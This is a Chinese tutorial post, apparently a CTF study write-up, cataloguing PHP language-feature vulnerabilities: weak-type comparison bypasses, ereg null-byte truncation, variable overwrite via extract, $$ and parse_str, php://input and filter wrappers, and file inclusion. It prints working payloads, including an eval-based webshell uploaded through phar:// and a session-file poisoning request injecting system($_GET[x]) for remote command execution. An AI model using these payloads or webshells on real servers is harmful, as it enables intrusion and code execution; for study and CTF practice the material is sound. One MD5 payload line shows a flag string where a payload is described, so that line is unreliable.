PHP语言特性漏洞汇总【万字详解】

文章目录

  • 任意文件下载
  • PHP弱类型比较
      • 字符比较绕过
          • 代码示例
          • 过程
      • SHA1比较绕过
      • MD5比较绕过
      • SESSION比较绕过
      • STRCMP比较绕过
      • 科学计算法绕过
          • 概念
          • 复现
          • 复现2
      • json_decode()绕过
          • 概念
          • 源码分析
      • ereg绕过
          • 概念
          • 复现
          • 复现2
      • array_search强相等绕过
          • 概念
          • 复现
  • 文件包含生成phar的shell文件
  • file_get_contents()函数造成的漏洞
        • 概念
        • 复现
        • 复现2
  • PHP变量覆盖
    • PHP-extract变量覆盖
        • 概念
        • 复现
    • 全局变量覆盖$$
        • 概念
        • 复现
    • PHP-parse_str变量覆盖
        • 概念
        • 复现
        • 复现2
  • PHP-preg_match函数绕过
        • 概念
        • 复现
            • 源码
        • 复现2 (*)
  • call_user_func函数之变量覆盖

  1. 任意文件下载

    1. 尝试下载flag.php,源码如下:

      <?php
      header('Content-Type: text/html; charset=utf-8'); //网页编码
      function encrypt($data, $key) {$key = md5 ( $key );$x = 0;$len = strlen ( $data );$l = strlen ( $key );for($i = 0; $i < $len; $i ++) {if ($x == $l) {$x = 0;}$char .= $key {$x};$x ++;}for($i = 0; $i < $len; $i ++) {$str .= chr ( ord ( $data {$i} ) + (ord ( $char {$i} )) % 256 );}return base64_encode ( $str );
      }function decrypt($data, $key) {$key = md5 ( $key );$x = 0;$data = base64_decode ( $data );$len = strlen ( $data );$l = strlen ( $key );for($i = 0; $i < $len; $i ++) {if ($x == $l) {$x = 0;}$char .= substr ( $key, $x, 1 );$x ++;}for($i = 0; $i < $len; $i ++) {if (ord ( substr ( $data, $i, 1 ) ) < ord ( substr ( $char, $i, 1 ) )) {$str .= chr ( (ord ( substr ( $data, $i, 1 ) ) + 256) - ord ( substr ( $char, $i, 1 ) ) );} else {$str .= chr ( ord ( substr ( $data, $i, 1 ) ) - ord ( substr ( $char, $i, 1 ) ) );}}return $str;
      }$key="this_is_encrypt_key";
      //g5jPoHql1N/MuGplep+jpHSZkrmiq4Wrr6mrfcOEYqyprcdwf6fLyN8=
      
    2. 从名字可知到有两个函数,一个加密encrypt,一个解密decrypt

    3. 最后根据函数构造payload即可

      1.   <?phpfunction decrypt($data, $key) {$key = md5 ( $key );$x = 0;$data = base64_decode ( $data );$len = strlen ( $data );$l = strlen ( $key );for($i = 0; $i < $len; $i ++) {if ($x == $l) {$x = 0;}$char .= substr ( $key, $x, 1 );$x ++;}for($i = 0; $i < $len; $i ++) {if (ord ( substr ( $data, $i, 1 ) ) < ord ( substr ( $char, $i, 1 ) )) {$str .= chr ( (ord ( substr ( $data, $i, 1 ) ) + 256) - ord ( substr ( $char, $i, 1 ) ) );} else {$str .= chr ( ord ( substr ( $data, $i, 1 ) ) - ord ( substr ( $char, $i, 1 ) ) );}}return $str;}$key="this_is_encrypt_key";$data="g5jPoHql1N/MuGplep+jpHSZkrmiq4Wrr6mrfcOEYqyprcdwf6fLyN8=";echo decrypt($data,$key);?>
        

PHP弱类型比较

  1. 字符比较绕过

    1. 代码示例
      1.   <?phpif(is_numeric($_GET['1']) && $_GET['1']=="255"){if(strstr($_GET['1'],"255")==False){$flag;}}show_source(__FILE__);
        
    2. 过程
      1. 传入的变量1需要两个条件,一个条件是需要是数字255才可以,而另一个条件是不等于255

      2. is_numeric()会将数字,数字字符串,科学计数法的数字,十六进制的数字都认为是数字。而后面的数值比较是使用的弱比较,就是说会将不同类型的两个值转换成一个类型再进行比较,如果1的值是十六进制,则会将十六进制的值转换成十进制再进行比较。

      3. 故此题可用16进制构造payload:http://localhost/?1=0xff

  2. SHA1比较绕过

    1. 代码示例

      <?php
      error_reporting(0);
      if (isset($_GET['name']) and isset($_GET['password'])) {sha1($_GET['name']) . "</br>";sha1($_GET['password']) . "</br>";if ($_GET['name'] == $_GET['password'])'<p>Your password can not be your name!</p>';else if (sha1($_GET['name']) == sha1($_GET['password']))$flag;
      }
      highlight_file(__FILE__);
      ?>
      
    2. 由代码可知,条件是name和password不能相等,但是他们的sha1的值要相等

    3. 这里可以sha1无法计算数组的特性来进行绕过,payload:?name[]=1&password[]=2

  3. MD5比较绕过

    1. 代码示例

      <?php
      if (isset($_POST['name']) && isset($_POST['password'])) {if ($_POST['name'] == $_POST['password']) {echo '用户名和密码不能相同';} else if (md5($_POST['name']) == md5($_POST['password'])) {die('Flag: ' . $flag);} else {echo '密码错误';}
      } else {echo '请登录';
      }
      ?>
      
    2. 由代码可知,name与password的值不能相等,但是他们的MD5需要相等

    3. 利用MD5函数无法处理数组的特性来进行绕过,payload: SangFor{XlR0R_Aixi9e0toz}

  4. SESSION比较绕过

    1. 示例

      1. <html><head><title>猜密码</title></head><body><!-- session_start();if (isset ($_POST['pwd'])){if ($_POST['pwd'] == $_SESSION['pwd'])die('Flag:'.$flag);else{print '<p>不对哦,再猜.</p>';$_SESSION['pwd']=time().time();}}else{$_SESSION['pwd']=time().time();}--><form action="index.php" method="post">密码:<input type="text" name="pwd"/><input type="submit" value="提交"/><br>提示:源码有惊喜哦~<br/></form></body></html>
        
    2. 分析代码逻辑,提交的密码 pwd 和 session 中存储的pwd 的值相等即可出 flag ,但session会随时间的变化而变化

    3. 当 sessionid 为服务器中不存在的sessionid 时,获取的相应数据也为 NULL ,如果我们传入的 pwd 为 null ,则成功绕过比较。

    4. 使用burpsuite截取数据包,修改 PHPSESSID 的值为空,并令 pwd 也为空

  5. STRCMP比较绕过

    1. 源代码:

      <?php
      error_reporting(0);
      $password="***************";
      if(isset($_POST['password'])) {if (strcmp($_POST['password'], $password) == 0) {$flag;} else {"Wrong password..";}
      }
      highlight_file(__FILE__);
      ?>
      
    2. strcmp函数是string compare(字符串比较)的缩写,用于比较两个字符串并根据比较结果返回整数。基本形式为strcmp(str1,str2),若str1=str2,则返回零;若str1>str2,则返回正数。

    3. 根据代码逻辑,需要比较 P O S T [ ‘ p a s s w o r d ’ ] 和 _POST[‘password’]和 POST[password]password的值,而$password的值无从得知。但由于php代码在比较时使用了弱比较,并且strcmp传入的期望类型是字符串类型的数据,但是如果传入非字符串类型的数据的时候,这个函数将发生错误但却判定其相等

    4. payload:password[]=1

  6. 科学计算法绕过

    1. 概念
      1. php处理字符串时存在一个缺陷问题,如果字符串为“1e1”,本该是一个正常的字符串,但是php会将它认为是科学计数法里面的e;也就是按照数学中的科学计数法。因此php会把这个字符串里面的1e1进行科学计数法计算,得出来就为“10”,即遇到“0e212”这些字符串直接看作为“0”.
    2. 复现
      1. 源代码:

        <?php
        include('flag.php');
        if(isset($_GET['time'])){if(!is_numeric($_GET['time'])){'The time must be number.';}else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){'This time is too short.';}else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){'This time is too long.';}else{sleep((int)$_GET['time']);$flag;}
        }show_source(FILE);?>
        
      2. 先检测是否通过 GET 方式传递一个非 NULL 的 time 值,如果有,则执行 if 里的语句。先判断了 times 的值是否为数字,如果不为数字,就返回“必须输入数字”;如果 times 的值小于 60 * 60 * 24 * 30 * 2 = 5184000 ,则返回“时间过短”;如果 time的值大于 60 * 60 * 24 * 30 * 3 = 7776000,则返回“时间过长”;否则将 time 的值转换成整型后休眠这么多秒后返回 flag

      3. 其中 is_numeric() 会将数字,数字字符串,科学计数法的数字,十六进制的数字都认为是数字。可以注意到 times的值是需要介于两个月到三个月的秒数。而强制转换成整型函数 int() 会将小数点以后的数字去掉。所以我们可以使用科学计数法绕过,输入“?time=6e6”,则会休眠6秒后返回 flag

        payload:   ?time=6e6
        
    3. 复现2
      1. 源代码

        <?php
        error_reporting(0);
        include("flag.php");
        if (isset($_GET['p1'])){if ($_GET['p1'] > 99999999 && strlen($_GET['p1']) < 9){if (isset ( $_GET ['p2'] )) {$p2 = $_GET ['p2'];if (is_numeric($p2)){die('Input cannot be a number!!!');}else{switch ($p2) {case 0 :break;case 1 :break;case 2 :echo $flag;break;default :echo "2333333";break;}}}}
        }
        highlight_file(__FILE__);
        ?>
        
      2. 分析代码逻辑:

        1. 条件一:p1大于99999999,并且长度小于9.用科学计数法绕过,令p1等于1e8即可;
        2. 条件二:p2不能为数字,但要想输出flag又必须为2,这里可以利用is_numeric()函数的特性,当它判断123、‘123’、0x123、'0x123’等均为ture ,只有像123abc这种混合类型时为false,并且switch/case 作的是松散比较,所以令p2为2aaaa即可绕过。
      3. payload:?p1=1e8&&p2=2aaa

  7. json_decode()绕过

    1. 概念
      1. json_decode()函数是PHP中的内置函数,用于解码JSON字符串。它将JSON编码的字符串转换为PHP变量。
    2. 源码分析
      1.   <?phpinclude('flag.php');if (isset($_POST['message'])) {$message = json_decode($_POST['message']);$key ="*********";if ($message->key == $key) {"flag";}else {"fail";}}else{"~~~~";}show_source(__FILE__);?>
        
    3. 分析代码逻辑,传入一个变量message,并且是json类型的字符串,然后json_decode()函数将其解析成字符串,其中一个变量key的值和原码中的$key值相等,输出flag。

    4. $key的值无法获取,只能考虑利用0==“string”这种形式绕过。所以传入message={“key”:0}就能够绕过了。

    5. payload:

      POST:
      message={"key":0}
      
  8. ereg绕过

    1. 概念
      1. ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。可选的输入参数规则包含一个数组的所有匹配表达式,他们被正则表达式的括号分组。
        ereg()函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配.
        ereg()函数只能处理字符串的,遇到数组做参数返回NULL.
    2. 复现
      1. 源代码:

        <?php
        header ( 'Content-Type: text/html; charset=utf-8' ); // 网页编码
        error_reporting ( 0 );
        $flag = "*******************";
        //echo $_POST['num'];
        if (isset ( $_POST ['num'] )) {if (@ereg ( "^[1-9]+$", $_POST['num'] ) === FALSE)echo '说好的数字呢?';else if (strpos ( $_POST['num'], '#tag' ) !== FALSE)die ( 'Flag: ' . $flag );elseecho '你的数字不太符合我的心意哦!';
        }
        ?>
        <html>
        <head>
        <title>猜密码</title>
        </head>
        <body style="text-align: center">
        <center>
        <img src="num.png"/><form action="index.php" method="post"><input type="text" name="num" /> <input type="submit" value="提交" /></form>
        </center><!-- index.php.txt  -->
        </body>
        </html>
        
      2. 分析代码,首先参数以post方式传入,再看条件,第一个if,ereg函数的作用是正则匹配,此处是要求传入的参数只能为单个或多个数字,结果才能为true,接下来与FALSE进行强比较,结果为FALSE,所以跳过执行下一个判断条件。再看else if,strpos函数的作用是查找后一个字符串在前一个字符串中第一次出现的位置,没有找到的话返回false,找到了话返回true,如果子字符串位于字符串的第一位则会返回0,为了区分0和false,所以需要用强等,=或者!

      3. 综上要想得到flag,首先输入的必须为数字,其次里面必须要有#tag,最终才能输出flag,但是明显两个条件不可能同时满足,因此寻找两个处理函数的漏洞才有可能得到flag。

      4. 经过查找资料,得到了两个函数的特性:

        1. ereg和strpos两个函数均是处理字符串的,如果传入的参数为数组,则会返回NULL,而NULL和FALSE、TRUE的类型不同(强等需要类型也相同),因此可以用数组绕过。
        2. ereg函数存在NULL截断漏洞,导致正则过滤被绕过,可以用%00–截断,而strpos函数不存在,因此可以读取到后面的字符串,所以既可以用%00绕过。
      5. payload

        payload1数组绕过
        POST:
        num[]=1payload2%00截断
        POST:
        num=1%00#tag
        
    3. 复现2
      1. 源码:

        <?php
        error_reporting(0);
        include('flag.php');
        if (isset ($_GET['password'])) 
        {if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE){echo '<p>数字或者字母</p>';}else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999){if (strpos ($_GET['password'], '*-*') !== FALSE) {$flag;}else{'<p>再想想呢</p>';}}else {'<p>password不正确!</p>';}
        } 
        highlight_file(__FILE__);
        ?>
        
      2. 分析代码首先判断如果有定义通过GET方式传递的变量password,则进入if内的语句。用正则表达式“1+$”匹配password,如果不匹配,返回“数字或者字母”;否则,如果password的长度小于8 或者password大于9999999,并且password中有“ - ”字符串则返回flag。

      3. 因为ereg函数存在%00截断漏洞,就是说ereg会把%00当成是字符串的结尾,%00之后的字符串就不进行匹配了。但是strpos并不存在此漏洞。至于长度限制可以使用科学计数法进行绕过。

      4. payload:?password=9e9%00*-*

  9. array_search强相等绕过

    1. 概念
      1.   array_search函数可以在数组内寻找某个键值,如果找到就返回键名,未找到就返回false。
        
    2. 复现
      1. 源码:

        <?php
        include('flag.php');
        highlight_file(__FILE__);
        if(!is_array($_GET['SXF'])){exit();}
        $SXF=$_GET['SXF'];
        for($i=0;$i<count($SXF);$i++){if($SXF[$i]==="admin"){echo "error";exit();}$SXF[$i]=intval($SXF[$i]);
        }
        if(array_search("admin",$SXF)===0){echo $flag;
        }
        else{"false";
        }
        ?>
        
      2. 分析代码逻辑,三个if条件很是苛刻,前两个if分别要求参数test传入的值必须是数组且数组内不能有“admin”,然后第三个条件就要求通过array_search(“admin”,$SXF)判断。

      3. 而我们知道,array_search()与in_array()一样,会类型进行强制转换,那么当我们传入时,中的判断就相当于,最终等式成立返回匹配成功的数组元素的下标0,满足“===”,得到flag。

      4. payload:?SXF[0]=0

文件包含生成phar的shell文件

  1. 首先访问靶机,来到一个空页面

  2. 用dirseach扫描得到upload.php,include.php两个新文件

  3. 其中include.php含有文件包含漏洞,可以使用 include.php?file=php://filter/read=convert.base64-encode/resource=upload 来读取源码

  4. 分别解密得到源码

    upload.php
    <form action="" enctype="multipart/form-data" method="post" name="upload">File: <input type="file" name="file" /><br><input type="submit" value="Upload" />
    </form><?php
    if (!empty($_FILES["file"])) {$allowedExts = array("gif", "jpeg", "jpg", "png");$temp = explode(".", $_FILES["file"]["name"]);$extension = end($temp);if ((($_FILES["file"]["type"] == "image/gif") || ($_FILES["file"]["type"] == "image/jpeg")|| ($_FILES["file"]["type"] == "image/jpg") || ($_FILES["file"]["type"] == "image/pjpeg")|| ($_FILES["file"]["type"] == "image/x-png") || ($_FILES["file"]["type"] == "image/png"))&& ($_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts)) {move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);echo "File upload successful! Saved in: upload/" . $_FILES["file"]["name"];} else {echo "Upload failed!";}
    }
    ?>include.php
    <html>Tips: the parameter is file! :)<!-- upload.php -->
    </html><?php
    $file = @$_GET["file"];
    if (isset($file)) {if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file, "..") !== FALSE || strlen($file) >= 70) {echo "<p> error! </p>";} else {include($file . '.php');}
    }
    ?>
    
  5. 但是 include.php 限制了后缀只能是 .php,这里还不能截断
    再看upload.php,限制了只能上传图片

  6. 这里唯一可用的就是 phar:// 这个协议了

  7. 生成shell文件

    1. 创建shell.php,写入后门代码

      1.   <?php @eval($_REQUEST['hack']);highlight_file(__FILE__);?>
        
    2. 将其压缩为zip,然后将文件名后缀修改为png上传即可

    3. 用蚁剑连接即可

      1.   include.php?file=phar://upload/shell.png/shell//这里的shell指的是压缩包的shell.php
        

file_get_contents()函数造成的漏洞

  1. 概念
    1. file_get_contents() 把整个文件读入一个字符串中。
      该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。
  2. 复现
    1. 源码:

      1.   <?phperror_reporting(0);function check($file){$black=array("../", "..\\");foreach($black as $value){if(strstr($file, $value)){die("得了吧");}}}header("set-cookie: sourceCode.txt");$user = $_GET["name"];$file = $_GET["file"];if(isset($user)&&(file_get_contents($user,‘r’)===“welcome to the SangFor”)){echo “hello admin!<br>;check($file);include($file);}else {echo "you are not admin ! ";}?>
        
    2. 根据源码存在两个变量, u s e r 和 user和 userfile。

    3. 在if条件判断中,传入一个文件且其内容为welcome to the SangFor,才可以进入判断进行下一步。

    4. file_get_contents() 函数把整个文件读入一个字符串中。

    5. file_get_contents()的$filename参数不仅仅为本地文件路径,还可以是一个网络路径URL。于是便可以利用伪协议:

      ?name=php://input
      POST:
      welcome to the SangFor
      
  3. 复现2
    1. 源码:

      <?php
      $p1 = @$_GET['a'];
      $p2 = @$_GET['b'];
      $p3 = @$_GET['c'];
      $p4 = @$_GET['d'];
      if(isset($_GET['a']) && isset($_GET['b']) && isset($_GET['c']) && isset($_GET['d']))if($p1 != $p2 && md5($p1) == md5($p2)){if($p3 === file_get_contents($p4)){echo file_get_contents("flag.php");}}else{die("请输入2个不同的值");}
      highlight_file("index.php"); 
      
    2. payload:

      /?a[]=1&b[]=2&c=4&d=php://input
      post:
      4
      

PHP变量覆盖

PHP-extract变量覆盖

  1. 概念
    1.   变量覆盖指的是用我们自定义的参数值替换程序原有的变量值,一般变量覆盖漏洞需要结合程序的其它功能来实现完整的攻击。经常导致变量覆盖漏洞场景有:$$,extract()函数,parse_str()函数等.
      
  2. 复现
    1. 源码:

      <?php
      include('flag.php');
      if ($_SERVER["REQUEST_METHOD"] == “POST”)$SangFor = "666";$SXF = "2333";extract($_POST);if ($SangFor === $SXF) {$flag;}else{"咋回事呢?";}
      highlight_file(__FILE__);
      ?>
      
    2. extract该函数使用数组键名作为变量名,使用数组键值作为变量值。但是当变量中有同名的元素时,该函数默认将原有的值给覆盖掉。这就造成了变量覆盖漏洞。

    3. 由此可以通过POST方法覆盖变量$SangFor,将其变量值覆盖为2333,来构造if条件判断为真,即可输出flag。

全局变量覆盖$$

  1. 概念
    1. 变量覆盖指的是用我们自定义的参数值替换程序原有的变量值,一般变量覆盖漏洞需要结合程序的其它功能来实现完整的攻击。
      经常导致变量覆盖漏洞场景有: $$,extract()函数,parse_str()函数等.
  2. 复现
    1. 源码:

       <?php
      error_reporting(0);
      include "flag.php";
      highlight_file(__file__);
      if(isset($_GET['args'])){$args = $_GET['args'];if(!preg_match("/^\w+$/",$args)){die();}eval("var_dump($$args);");
      }
      else{"yyds";
      }
      ?> 
      
    2. 正则过滤:

      1. 两个//表示开始和结束

        ^表示开始字符串

        $表示结束字符串

        \w表示包含[a-z,A-Z, _ , 0-9]

        +表示一个或者多个\w
        就是限定一个任意长字符串全部由字母数字组成,前面中间后面都不能有空格、标点等非\w字符

    3. 如果args的值是只由大小写字母数字和下划线,则执行eval(“var_dump($$args)”)。

    4. 通过提示“flag在变量里”,想能不能通过打印所有变量的值来获得flag。

    5. 这里介绍一个超全局变量$GLOBALS,它可以引用全局作用域中可用的全部变量(一个包含了全部变量的全局组合数组。变量的名字就是数组的键),与所有其他超全局变量不同。我们尝试输入“?args=GLOBALS”获得flag;payload:http://localhost/?args=GLOBALS

PHP-parse_str变量覆盖

  1. 概念
    1. parse_str(string,array)
      把查询字符串解析到变量中

    2. 例如

      1.   $a = "name=SangFor&age=666";parse_str($a,$b);echo $b['name']."\n";echo $b['age'];#输出结果//SangFor//666
        
  2. 复现
    1. 源码:

      <!--
      $he ='Spring';
      $flag = "**********";
      parse_str($_GET['SangFor']);
      if ($he =="Moon"){echo $flag;}
      -->
      
    2. 分析代码可知,需要以POST方法传入v1,以GET方法传入v3

    3. 变量he值为字符串“Spring”,然后通过parse_str将通过GET方式传递的Moon参数的字符串解析到变量中。

    4. 由于parse_str存在变量覆盖漏洞,尝试输入?SangFor=he=Moon获得flag。

    5. payload:?SangFor=he=Moon

  3. 复现2
    1. 源码:

      <?php  error_reporting(0);
      $j="gan de piao liang ";
      include("flag.php");
      $hashed_key = 'ddbafb4eb89e218701472d3f6c087fdf7119dfdd560f9d1fcbe7482b0feea05a';
      $parsed = parse_url($_SERVER['REQUEST_URI']);
      if(isset($parsed["query"])) {$query = $parsed["query"];$parsed_query = parse_str($query);if($parsed_query!=NULL) {$action = $parsed_query['action'];}if($action==="auth") {$key = $_GET["key"];$hashed_input = hash('sha256', $key);if($hashed_input!==$hashed_key) {die("<img src='cxk.jpg'>");}echo $flag;}
      } else {show_source(__FILE__);
      }
      ?> 
      
    2. 由代码可知,需要满足一下条件

      1. 条件一:parse_url()函数解析出的URI带有query参数值
      2. 条件二:parse_str()函数对$query进行解析,解析后的数组不为空
      3. 条件三:变量action值为auth
      4. 条件四:变量key的值经过hash256加密后的值需要与原代码中已有的$hashed_key的值相等。
    3. 构造payload:action=auth&key=swzaq&hashed_key=07e599430c991fd44f41e7658b8816143ba7ce316c3a503291bacc82f1b569ee

PHP-preg_match函数绕过

  1. 概念
    1. 在php中preg_match()函数用于执行一个正则表达式匹配,并返回匹配的次数,该函数在第一次匹配后会停止搜索。函数语法:【int preg_match(string $pattern ,string $subject)】。
  2. 复现
    1. 源码
      1.   <?php$str = intval($_GET['id']);$reg = preg_match('/\d/is', $_GET['id']);if(!is_numeric($_GET['id']) and $reg !== 1 and $str === 1){echo $flag;}else{"no";}highlight_file(__FILE__);?>
        
    2. PHP所使用的preg_match()函数从用户输入字符串获得参数,如果所传送的值为数组而不是字符串就会生成警告,警告消息中包含有当前运行脚本的完整路径。

    3. payload:?id[]=1

      1. intval($_GET['id']); 输出1
      2. is_numeric($_GET[‘id’]) 不存在
      3. preg_match(’/\d/is’, $_GET[‘id’]) 不为1
  3. 复现2 (*)
    1. 源码:

       <?phpinclude "flag.php";
      $number1 = rand(1,100000000000000);
      $number2 = rand(1,100000000000);
      $number3 = rand(1,100000000);
      $url = urldecode($_SERVER['REQUEST_URI']);//$_SERVER[“REQUEST_URI”]函数是预定义服务器变量的一种,所有$_SERVER开头的都叫做预定义服务器变量 
      $url = parse_url($url, PHP_URL_QUERY);//REQUEST_URI的作用是取得当前URI,也就是除域名外后面的完整的地址路径。而parse_url()函数是对$url进行解析,PHP_URL_QUERY是指解析字符串,即?后面的内容。
      if (preg_match("/_/i", $url)) 
      {die("...");
      }
      if (preg_match("/0/i", $url)) 
      {die("...");
      }
      if (preg_match("/w+/i", $url)) 
      {die("...");
      }  
      if(isset($_GET['_']) && !empty($_GET['_']))
      {$control = $_GET['_'];  if(!in_array($control, array(0,$number1))){die("fail1");}if(!in_array($control, array(0,$number2))){die("fail2");}if(!in_array($control, array(0,$number3))){die("fail3");}echo $flag;
      }
      show_source(__FILE__);
      ?>
      
    2. 源码首先检查URL查询字符串中是否包含下划线(_)、数字0(0)或模式w+,有则输出’…’

    3. 符合三个数组的值,而三个数组唯一可以确定相同的值只有0。

    4. parse_url 提取的是查询字符串部分,正本题是 ? 后面的内容。如果使用 ///,parse_url可能导致解析错误或结果为 NULL

    5. 这可以被利用来绕过一些基于 parse_url 结果的检查。

    • in_array 在没有指定第三个参数时,会进行弱类型比较。
    • 字符串与数字比较时,如果字符串的第一个字符不是数字,会转换为 0
    • 因此,可以通过传递一个字母(如 ?_=a)来绕过 in_array 的检查,因为 'a' 会被转换为 0
    • payload:///?_=a

call_user_func函数之变量覆盖

  1. 源码

    <?phphighlight_file(__FILE__);error_reporting(0);ini_set('open_basedir', '/var/www/html:/tmp');//只容许访问这两个目录$file = 'function.php';$func = isset($_GET['function'])?$_GET['function']:'filters'; call_user_func($func,$_GET);//创建函数include($file);//文件包含漏洞session_start();$_SESSION['name'] = $_POST['name'];if($_SESSION['name']=='admin'){header('location:admin.php');}
    ?>
    
  2. call_user_func具有变量,攻击者可以控制此变量来自定义创建函数

  3. 通过构建extract函数来更高file的值进行变量覆盖来触发文件包含漏洞

    1. 查看function文件payload:?function=extract&file=php://filter/read=convert.base64-encode/resource=./function.php
  4. 但是function.php和admin.php并没有flag的值,又有网站目录限制

  5. 但是可以控制session文件再通过文件包含漏洞进行webshell

  6. 因为每一个sessid对应一个sess_的缓存文件

  7. sess_的缓存文件存放文字大概如下:在这里插入图片描述

    1.  /var/lib/php/sess_PHPSESSID/var/lib/php/sessions/sess_PHPSESSID/var/lib/php5/sess_PHPSESSID/var/lib/php5/sessions/sess_PHPSESSID/tmp/sess_PHPSESSID/tmp/sessions/sess_PHPSESSID
      
  8. 捉包,将其改为post提交方式,写入后门木马和payload

    1.  数据包:POST /index.php?function=session_start&save_path=/tmp HTTP/1.1Host: mntlzd2m4dsbw1ai.ctfw.edu.sangfor.com.cnUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateCookie: PHPSESSID=119a580e62aa1451684ee277a30e40b5DNT: 1Content-Type: application/x-www-form-urlencodedConnection: closeUpgrade-Insecure-Requests: 1Content-Length: 41name=<?php echo "aaa";system($_GET[x]);?>
      
    2. 在这里插入图片描述
  9. 后门触发payload:

    1.  http://mntlzd2m4dsbw1ai.ctfw.edu.sangfor.com.cn/index.php?function=extract&file=/tmp/sess_119a580e62aa1451684ee277a30e40b5&x=ls```
      

在这里插入图片描述

2. 

  1. a-zA-Z0-9 ↩︎

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/396535.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

螺旋矩阵 | LeetCode-59 | LeetCode-54 | 分类讨论

&#x1f64b;大家好&#xff01;我是毛毛张! &#x1f308;个人首页&#xff1a; 神马都会亿点点的毛毛张 &#x1f383;分类不好&#xff0c;这道题就做不出来&#xff01;&#x1f388; &#x1f4cc;LeetCode链接&#xff1a;59. 螺旋矩阵 II &#x1f4cc;LeetCode链接…

Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通

Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通 契机 ⚙ 2.6的小钢炮可以输入视频了&#xff0c;我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题&#xff0c;pip install flash_attn也无法安装&#xff0c;因为强制依赖cuda。主要解决的就是这个问题&#xff0c;还…

移动端上拉分页加载更多(h5,小程序)

1.h5,使用原生方式监听页面滚动上拉分页加载更多 <template><div></div> </template><script> export default {data() {return {loadflag: true,maxpages: 0, //最大页码currentpage: 0, //当前页listData: [],config: {page: 1,pageSize: 15,…

Netty技术全解析:DelimiterBasedFrameDecoder类深度解析

❃博主首页 &#xff1a; 「码到三十五」 &#xff0c;同名公众号 :「码到三十五」&#xff0c;wx号 : 「liwu0213」 ☠博主专栏 &#xff1a; <mysql高手> <elasticsearch高手> <源码解读> <java核心> <面试攻关> ♝博主的话 &#xff1a…

Java中等题-交错字符串(力扣)

给定三个字符串 s1、s2、s3&#xff0c;请你帮忙验证 s3 是否是由 s1 和 s2 交错 组成的。 两个字符串 s 和 t 交错 的定义与过程如下&#xff0c;其中每个字符串都会被分割成若干 非空 子字符串 &#xff1a; s s1 s2 ... snt t1 t2 ... tm|n - m| < 1交错 是…

AI入门指南(二):算法、训练、模型、大模型是什么?

文章目录 一、前言二、算法是什么&#xff1f;概念实际应用 三、训练是什么&#xff1f;概念实际应用 四、模型是什么&#xff1f;概念实际应用小结 五、大模型是什么&#xff1f;概念大模型和小模型有什么区别&#xff1f;大模型分类实际应用 六、总结七、参考资料 一、前言 …

37.【C语言】指针(重难点)(B)

目录&#xff1a; 5.疑问解答&#xff1a;指针的解引用 6.指针或-整数 7.特殊类型*void指针 承接上篇19.【C语言】指针&#xff08;重难点&#xff09;&#xff08;A&#xff09; 5.疑问解答&#xff1a;指针的解引用 观察下列代码产生的现象 #include <stdio.h> int …

代码随想录算法训练营day39||动态规划07:多重背包+打家劫舍

多重背包理论 描述&#xff1a; 有N种物品和一个容量为V 的背包。 第i种物品最多有Mi件可用&#xff0c;每件耗费的空间是Ci &#xff0c;价值是Wi 。 求解将哪些物品装入背包可使这些物品的耗费的空间 总和不超过背包容量&#xff0c;且价值总和最大。 本质&#xff1a; …

yolov8旋转目标检测部署教程(附代码c++/python)

为了编写一个详细的YOLOv8旋转目标检测ONNX部署教程&#xff0c;我们需要考虑几个关键点&#xff1a;模型转换为ONNX格式、ONNX模型的部署以及后处理逻辑。由于YOLOv8本身还未发布&#xff0c;我们将基于现有的知识和技术来进行推断。 以下是部署YOLOv8旋转目标检测模型到ONNX…

【经验分享】ShardingSphere+Springboot-03 : COMPLEX_INLINE 复杂行表达式分片算法

文章目录 3.3 复杂分片算法3.3.1 COMPLEX_INLINE 复杂行表达式分片算法 3.3 复杂分片算法 3.3.1 COMPLEX_INLINE 复杂行表达式分片算法 复合分片比较灵活&#xff0c;适合于分片的字段比较多&#xff0c;分片比较复杂的场景&#xff0c;使用这种分片的话必须对自己的业务比较…

AWS生成式AI项目的全生命周期管理

随着人工智能技术的迅速发展&#xff0c;生成式 AI 已成为当今最具创新性和影响力的领域之一。生成式 AI 能够创建新的内容&#xff0c;如文本、图像、音频等&#xff0c;具有广泛的应用前景&#xff0c;如自然语言处理、计算机视觉、创意设计等。然而&#xff0c;构建一个成功…

PythonStudio 控件使用常用方式(十八)TCategoryButtons

PythonStudio是一个极强的开发Python的IDE工具&#xff0c;它使用的是Delphi的控件&#xff0c;常用的内容是与Delphi一致的。但是相关文档并一定完整。现在我试试能否逐步把它的控件常用用法写一点点&#xff0c;也作为PythonStudio的参考。 从1.2.1版开始&#xff0c;Python…

jsp-图书管理系统

一、系统介绍 本系统为图书管理系统&#xff0c;主要围绕图书管理和会员管理两个核心内容展开&#xff0c;图书管理包括图书的上架&#xff0c;下架&#xff0c;图书的借阅&#xff0c;归还&#xff0c;定损等&#xff1b; 会员管理包括会员注册&#xff0c;充值&#xff0c;损…

【Datawhale X 魔搭 】AI夏令营第四期AIGC方向,Task1:可图Kolors-LoRA风格AI图片生成入门(持续更新)

